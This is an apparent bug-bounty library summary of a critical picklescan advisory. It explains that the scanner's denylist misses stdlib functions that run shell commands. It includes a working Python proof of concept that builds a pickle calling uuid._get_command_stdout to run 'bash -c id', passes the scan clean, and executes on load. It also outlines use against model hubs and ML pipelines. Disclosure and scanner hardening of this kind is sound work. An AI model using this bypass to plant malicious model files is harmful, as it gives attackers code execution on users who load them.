# PickleScan has multiple stdlib modules with direct RCE not in blocklist

picklescan's blocklist omits 7+ stdlib modules (uuid, imaplib, _osx_support, _pyrepl.pager) whose functions run shell commands, so malicious pickles scan CLEAN yet execute code on load.

- Payout: Research
- Severity: critical
- Program: PickleScan
- Found by (vendor credit): yash2998chhabria
- Found by: yash2998chhabria, cookesan, tayfuryldz
- Disclosed: 2026-03-03
- CVE: CVE-2026-56315
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-g38g-8gr9-h9xp
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-g38g-8gr9-h9xp
- Tags: area:ai domain:ai domain:oss impact:rce kind:research platform:ghsa sev:critical tech:python technique:source-review vuln:command-injection vuln:deserialization vuln:rce

**Target:** pickle scanner blocklist (_unsafe_globals) in picklescan Python library
**Root cause:** picklescan uses a denylist of dangerous pickle globals; several stdlib modules with command-execution helpers (uuid._get_command_stdout, imaplib.IMAP4_stream, _osx_support._read_output, _pyrepl.pager) were never added, and unknown globals are only marked 'Suspicious' rather than counted as issues.
**Steps:**
1. Enumerate stdlib functions that spawn subprocesses/os.system (uuid._get_command_stdout, _aix_support._read_cmd_output, _pyrepl.pager.pipe_pager, imaplib.IMAP4_stream, test.support.script_helper.assert_python_ok).
2. Craft a pickle using GLOBAL opcodes for the module+function and REDUCE with args, e.g. `sbu("uuid") + sbu("_get_command_stdout") + b"\x93" + sbu("bash") + sbu("-c") + sbu("id") + b"\x87" + b"R"`.
3. Run `picklescan -p uuid_rce.pkl` -> 'No issues found.'
4. Run `pickle.loads(payload)` -> executes `id`, printing uid/gid.
**How found:** Reporter read picklescan's `_unsafe_globals` blocklist (scanner.py lines 120-219) and cross-referenced Python stdlib for functions that shell out, finding modules absent from the denylist; confirmed by building pickles and observing CLEAN scans vs actual execution.
**Exploitation:** Attacker uploads a pickle/model file whose GLOBAL+REDUCE invokes an unblocked stdlib command-exec function; picklescan reports CLEAN, and any victim loading the pickle (e.g. via HuggingFace Hub or an ML pipeline) executes arbitrary commands as the loader's user.
**Escalation:** Targets HuggingFace Hub server-side scanning and downstream ML pipelines, giving supply-chain style RCE to anyone who loads the model.
**Insight:** For pickle/deserialization denylist scanners, grep the target language's stdlib for subprocess/os.system/eval wrappers (including private modules like _osx_support, _pyrepl, test.support) and test each as a GLOBAL+REDUCE payload — denylists always miss private/underscore modules and test helpers.

## Proof of concept (copied exactly from the original report)

**Pickle payload calling uuid._get_command_stdout to run id**

```
import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# uuid._get_command_stdout — arbitrary command execution
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("uuid") + sbu("_get_command_stdout") + b"\x93"
    + sbu("bash") + sbu("-c") + sbu("id")
    + b"\x87" + b"R"   # TUPLE3 + REDUCE
    + b"."              # STOP
)

# Scan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN

# Execute: runs `id` command
pickle.loads(payload)
```

